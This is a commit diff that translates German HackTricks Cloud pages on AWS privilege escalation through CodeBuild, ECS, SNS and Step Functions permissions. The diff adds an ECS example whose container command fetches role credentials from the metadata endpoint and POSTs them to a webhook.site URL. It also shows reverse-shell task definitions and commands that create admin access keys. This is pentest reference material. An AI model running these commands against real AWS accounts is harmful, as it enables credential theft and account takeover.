mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 06:30:35 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
Translator
@@ -12,7 +12,7 @@ Weitere Informationen finden Sie in:
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
|
||||
Nur mit einer dieser Berechtigungen reicht es aus, um einen Build mit einem neuen Buildspec auszulösen und das Token der dem Projekt zugewiesenen IAM-Rolle zu stehlen:
|
||||
Nur mit einer dieser Berechtigungen reicht es aus, um einen Build mit einem neuen Buildspec auszulösen und das Token der IAM-Rolle zu stehlen, die dem Projekt zugewiesen ist:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -61,7 +61,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
**Hinweis**: Der Unterschied zwischen diesen beiden Befehlen ist:
|
||||
|
||||
- `StartBuild` löst einen einzelnen Build-Job mit einem bestimmten `buildspec.yml` aus.
|
||||
- `StartBuildBatch` ermöglicht es Ihnen, eine Batch von Builds mit komplexeren Konfigurationen zu starten (wie das Ausführen mehrerer Builds parallel).
|
||||
- `StartBuildBatch` ermöglicht es Ihnen, eine Batch von Builds mit komplexeren Konfigurationen zu starten (wie das gleichzeitige Ausführen mehrerer Builds).
|
||||
|
||||
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu angehängten AWS Codebuild-Rollen.
|
||||
|
||||
@@ -214,7 +214,7 @@ JSON="{
|
||||
|
||||
printf "$JSON" > $REV_PATH
|
||||
|
||||
aws codebuild update-project --cli-input-json file://$REV_PATH
|
||||
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
@@ -302,7 +302,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
|
||||
### SSM
|
||||
|
||||
Mit **ausreichenden Berechtigungen, um eine SSM-Sitzung zu starten**, ist es möglich, **in ein Codebuild-Projekt** einzudringen, das gerade gebaut wird.
|
||||
Wenn man **genug Berechtigungen hat, um eine SSM-Sitzung zu starten**, ist es möglich, **in ein Codebuild-Projekt** einzudringen, das gerade gebaut wird.
|
||||
|
||||
Das Codebuild-Projekt muss einen Haltepunkt haben:
|
||||
|
||||
@@ -323,7 +323,7 @@ Für weitere Informationen [**siehe die Dokumentation**](https://docs.aws.amazon
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
Ein Angreifer, der in der Lage ist, einen Build eines bestimmten CodeBuild-Projekts zu starten/neu zu starten, das seine `buildspec.yml`-Datei in einem S3-Bucket speichert, auf den der Angreifer Schreibzugriff hat, kann die Ausführung von Befehlen im CodeBuild-Prozess erlangen.
|
||||
Ein Angreifer, der in der Lage ist, einen Build eines bestimmten CodeBuild-Projekts zu starten/neuzustarten, dessen `buildspec.yml`-Datei in einem S3-Bucket gespeichert ist, auf den der Angreifer Schreibzugriff hat, kann eine Befehlsausführung im CodeBuild-Prozess erlangen.
|
||||
|
||||
Hinweis: Die Eskalation ist nur relevant, wenn der CodeBuild-Arbeiter eine andere Rolle hat, hoffentlich mit mehr Berechtigungen, als die des Angreifers.
|
||||
```bash
|
||||
@@ -356,7 +356,7 @@ commands:
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass das buildspec im Zip-Format erwartet werden könnte, sodass ein Angreifer die `buildspec.yml` aus dem Stammverzeichnis herunterladen, entpacken, ändern, erneut zippen und hochladen müsste.
|
||||
|
||||
Weitere Details sind [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) zu finden.
|
||||
Weitere Details finden Sie [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu angehängten AWS Codebuild-Rollen.
|
||||
|
||||
|
||||
@@ -13,6 +13,9 @@ Mehr **Info über ECS** in:
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Ein Angreifer, der die Berechtigung `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführt**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -32,12 +35,52 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Erstellen Sie einen Webhook mit einer Seite wie webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
[
|
||||
{
|
||||
"name": "exfil_creds",
|
||||
"image": "python:latest",
|
||||
"entryPoint": ["sh", "-c"],
|
||||
"command": [
|
||||
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
|
||||
]
|
||||
}
|
||||
]
|
||||
|
||||
# Run task definition, uploading the .json file
|
||||
aws ecs register-task-definition \
|
||||
--family iam_exfiltration \
|
||||
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
|
||||
--network-mode "awsvpc" \
|
||||
--cpu 256 \
|
||||
--memory 512 \
|
||||
--requires-compatibilities FARGATE \
|
||||
--container-definitions file://container-definition.json
|
||||
|
||||
# Check the webhook for a response
|
||||
|
||||
# Delete task definition
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen ECS-Rolle.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS missbraucht, **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführt**.\
|
||||
Allerdings muss in diesem Fall eine Containerinstanz vorhanden sein, um die bösartige Aufgabenbeschreibung auszuführen.
|
||||
Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS missbraucht, **eine neue Task-Definition** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführt**.\
|
||||
Allerdings muss in diesem Fall eine Container-Instanz vorhanden sein, um die bösartige Task-Definition auszuführen.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -57,7 +100,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS missbraucht, **eine neue Task-Definition** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **diese ausführen, indem er einen neuen Dienst mit mindestens 1 laufender Aufgabe erstellt.**
|
||||
Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS missbraucht, **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **diese ausführen, indem er einen neuen Dienst mit mindestens 1 laufender Aufgabe erstellt.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -96,8 +139,8 @@ aws ecs run-task \
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Dieses Szenario ist wie die vorherigen, aber **ohne** die **`iam:PassRole`** Berechtigung.\
|
||||
Das ist immer noch interessant, denn wenn Sie einen beliebigen Container ausführen können, auch wenn es ohne Rolle ist, könnten Sie **einen privilegierten Container ausführen, um** zum Knoten zu entkommen und **die EC2 IAM-Rolle** sowie die **anderen ECS-Containerrollen** zu stehlen, die im Knoten ausgeführt werden.\
|
||||
Dieses Szenario ist wie die vorherigen, aber **ohne** die Berechtigung **`iam:PassRole`**.\
|
||||
Das ist immer noch interessant, denn wenn Sie einen beliebigen Container ausführen können, auch wenn es ohne Rolle ist, könnten Sie **einen privilegierten Container ausführen, um** zum Knoten zu entkommen und **die EC2 IAM-Rolle** sowie die **anderen ECS-Containerrollen**, die im Knoten ausgeführt werden, zu **stehlen**.\
|
||||
Sie könnten sogar **andere Aufgaben zwingen, innerhalb der EC2-Instanz** zu laufen, die Sie kompromittieren, um deren Anmeldeinformationen zu stehlen (wie im [**Privesc zu Knoten Abschnitt**](aws-ecs-privesc.md#privesc-to-node) besprochen).
|
||||
|
||||
> [!WARNING]
|
||||
@@ -145,7 +188,7 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Ein Angreifer mit den **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kann **Befehle ausführen** innerhalb eines laufenden Containers und die angehängte IAM-Rolle exfiltrieren (man benötigt die Beschreibungsberechtigungen, da es notwendig ist, `aws ecs execute-command` auszuführen).\
|
||||
Um dies zu tun, muss die Container-Instanz jedoch den **ExecuteCommand-Agent** ausführen (was standardmäßig nicht der Fall ist).
|
||||
Um dies zu tun, muss die Container-Instanz jedoch den **ExecuteCommand-Agenten** ausführen (was standardmäßig nicht der Fall ist).
|
||||
|
||||
Daher könnte der Angreifer versuchen:
|
||||
|
||||
@@ -227,7 +270,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Potenzielle Auswirkungen**: Ausführen von beliebigem Code im betroffenen Dienst, was möglicherweise dessen Funktionalität beeinträchtigt oder sensible Daten exfiltriert.
|
||||
**Potenzielle Auswirkungen**: Ausführen beliebigen Codes im betroffenen Dienst, was möglicherweise dessen Funktionalität beeinträchtigt oder sensible Daten exfiltriert.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
||||
@@ -20,7 +20,7 @@ aws sns publish --topic-arn <value> --message <value>
|
||||
|
||||
### `sns:Subscribe`
|
||||
|
||||
Ein Angreifer könnte sich für ein SNS-Thema anmelden und dadurch möglicherweise unbefugten Zugriff auf Nachrichten erhalten oder die normale Funktionsweise von Anwendungen, die auf das Thema angewiesen sind, stören.
|
||||
Ein Angreifer könnte sich für ein SNS-Thema anmelden und dadurch möglicherweise unbefugten Zugriff auf Nachrichten erlangen oder die normale Funktionsweise von Anwendungen, die auf das Thema angewiesen sind, stören.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
```
|
||||
@@ -32,6 +32,6 @@ Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-The
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
```
|
||||
**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung des normalen Betriebs für Anwendungen, die auf das Thema angewiesen sind.
|
||||
**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung der normalen Funktionalität von Anwendungen, die auf das Thema angewiesen sind.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,24 +12,24 @@ Für weitere Informationen zu diesem AWS-Dienst, siehe:
|
||||
|
||||
### Task-Ressourcen
|
||||
|
||||
Diese Privilegieneskalationstechniken erfordern die Nutzung einiger AWS Step Function-Ressourcen, um die gewünschten Privilegieneskalationsaktionen durchzuführen.
|
||||
Diese Techniken zur Eskalation von Berechtigungen erfordern die Nutzung einiger AWS Step Function-Ressourcen, um die gewünschten Aktionen zur Eskalation von Berechtigungen durchzuführen.
|
||||
|
||||
Um alle möglichen Aktionen zu überprüfen, könntest du zu deinem eigenen AWS-Konto gehen, die Aktion auswählen, die du verwenden möchtest, und die verwendeten Parameter einsehen, wie in:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Oder du könntest auch zur API-AWS-Dokumentation gehen und die Dokumentation zu jeder Aktion überprüfen:
|
||||
Oder du könntest auch zur API-Dokumentation von AWS gehen und die Dokumentation zu jeder Aktion überprüfen:
|
||||
|
||||
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
|
||||
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
|
||||
|
||||
### `states:TestState` & `iam:PassRole`
|
||||
|
||||
Ein Angreifer mit den Berechtigungen **`states:TestState`** & **`iam:PassRole`** kann jeden Zustand testen und jede IAM-Rolle an ihn übergeben, ohne eine vorhandene Zustandsmaschine zu erstellen oder zu aktualisieren, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rollen ermöglichen kann. Diese Berechtigungen können in Kombination zu umfangreichen unbefugten Aktionen führen, von der Manipulation von Workflows zur Datenänderung bis hin zu Datenlecks, Ressourcenmanipulation und Privilegieneskalation.
|
||||
Ein Angreifer mit den Berechtigungen **`states:TestState`** & **`iam:PassRole`** kann jeden Zustand testen und jede IAM-Rolle an ihn übergeben, ohne eine vorhandene Zustandsmaschine zu erstellen oder zu aktualisieren, was potenziell unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rollen ermöglicht. In Kombination können diese Berechtigungen zu umfangreichen unbefugten Aktionen führen, von der Manipulation von Workflows zur Datenänderung bis hin zu Datenverletzungen, Ressourcenmanipulation und Eskalation von Berechtigungen.
|
||||
```bash
|
||||
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
```
|
||||
Die folgenden Beispiele zeigen, wie man einen Zustand testet, der einen Zugriffsschlüssel für den **`admin`**-Benutzer erstellt, indem diese Berechtigungen und eine permissive Rolle der AWS-Umgebung genutzt werden. Diese permissive Rolle sollte mit einer hochprivilegierten Richtlinie verknüpft sein (zum Beispiel **`arn:aws:iam::aws:policy/AdministratorAccess`**), die es dem Zustand erlaubt, die Aktion **`iam:CreateAccessKey`** auszuführen:
|
||||
Die folgenden Beispiele zeigen, wie man einen Zustand testet, der einen Zugriffsschlüssel für den **`admin`** Benutzer erstellt, indem diese Berechtigungen und eine permissive Rolle der AWS-Umgebung genutzt werden. Diese permissive Rolle sollte mit einer hochprivilegierten Richtlinie verknüpft sein (zum Beispiel **`arn:aws:iam::aws:policy/AdministratorAccess`**), die es dem Zustand erlaubt, die Aktion **`iam:CreateAccessKey`** auszuführen:
|
||||
|
||||
- **stateDefinition.json**:
|
||||
```json
|
||||
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
|
||||
|
||||
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
|
||||
|
||||
Ein Angreifer mit **`states:CreateStateMachine`** & **`iam:PassRole`** wäre in der Lage, eine Zustandsmaschine zu erstellen und ihr jede IAM-Rolle zuzuweisen, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rolle ermöglicht. Im Gegensatz zur vorherigen Privilegieneskalationstechnik (**`states:TestState`** & **`iam:PassRole`**) wird diese nicht von selbst ausgeführt; Sie benötigen auch die Berechtigungen **`states:StartExecution`** oder **`states:StartSyncExecution`** (**`states:StartSyncExecution`** ist **nicht für Standard-Workflows verfügbar**, **nur für Ausdruckszustandsmaschinen**) um eine Ausführung über die Zustandsmaschine zu starten.
|
||||
Ein Angreifer mit **`states:CreateStateMachine`** & **`iam:PassRole`** wäre in der Lage, eine Zustandsmaschine zu erstellen und ihr jede IAM-Rolle zuzuweisen, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rolle ermöglicht. Im Gegensatz zur vorherigen Privilegieneskalationstechnik (**`states:TestState`** & **`iam:PassRole`**) wird diese nicht von selbst ausgeführt; Sie benötigen auch die Berechtigungen **`states:StartExecution`** oder **`states:StartSyncExecution`** (**`states:StartSyncExecution`** ist **nicht verfügbar für Standard-Workflows**, **nur für Ausdruckszustandsmaschinen**) um eine Ausführung über die Zustandsmaschine zu starten.
|
||||
```bash
|
||||
# Create a state machine
|
||||
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
@@ -138,7 +138,7 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
|
||||
### `states:UpdateStateMachine` & (nicht immer erforderlich) `iam:PassRole`
|
||||
|
||||
Ein Angreifer mit der Berechtigung **`states:UpdateStateMachine`** könnte die Definition einer Zustandsmaschine ändern und zusätzliche stealthy Zustände hinzufügen, die zu einer Privilegieneskalation führen könnten. Auf diese Weise wird, wenn ein legitimer Benutzer eine Ausführung der Zustandsmaschine startet, dieser neue bösartige stealth Zustand ausgeführt und die Privilegieneskalation erfolgreich sein.
|
||||
Ein Angreifer mit der Berechtigung **`states:UpdateStateMachine`** wäre in der Lage, die Definition einer Zustandsmaschine zu ändern und zusätzliche stealthy Zustände hinzuzufügen, die zu einer Privilegieneskalation führen könnten. Auf diese Weise wird, wenn ein legitimer Benutzer eine Ausführung der Zustandsmaschine startet, dieser neue bösartige stealth Zustand ausgeführt und die Privilegieneskalation erfolgreich sein.
|
||||
|
||||
Je nachdem, wie permissiv die mit der Zustandsmaschine verbundene IAM-Rolle ist, würde ein Angreifer mit 2 Situationen konfrontiert werden:
|
||||
|
||||
@@ -151,7 +151,7 @@ aws states update-state-machine --state-machine-arn <value> [--definition <value
|
||||
Die folgenden Beispiele zeigen, wie man eine legitime Zustandsmaschine aktualisiert, die nur eine HelloWorld Lambda-Funktion aufruft, um einen zusätzlichen Zustand hinzuzufügen, der den Benutzer **`unprivilegedUser`** zur **`administrator`** IAM-Gruppe hinzufügt. Auf diese Weise wird, wenn ein legitimer Benutzer eine Ausführung der aktualisierten Zustandsmaschine startet, dieser neue bösartige Stealth-Zustand ausgeführt und die Privilegieneskalation wird erfolgreich sein.
|
||||
|
||||
> [!WARNING]
|
||||
> Wenn die Zustandsmaschine keine permissive IAM-Rolle zugeordnet hat, wäre auch die Berechtigung **`iam:PassRole`** erforderlich, um die IAM-Rolle zu aktualisieren, um eine permissive IAM-Rolle zuzuordnen (zum Beispiel eine mit der **`arn:aws:iam::aws:policy/AdministratorAccess`**-Richtlinie angehängt).
|
||||
> Wenn die Zustandsmaschine keine permissive IAM-Rolle zugeordnet hat, wäre auch die Berechtigung **`iam:PassRole`** erforderlich, um die IAM-Rolle zu aktualisieren, um eine permissive IAM-Rolle zuzuordnen (zum Beispiel eine mit der **`arn:aws:iam::aws:policy/AdministratorAccess`** Richtlinie angehängt).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Legit State Machine" }}
|
||||
|
||||
Reference in New Issue
Block a user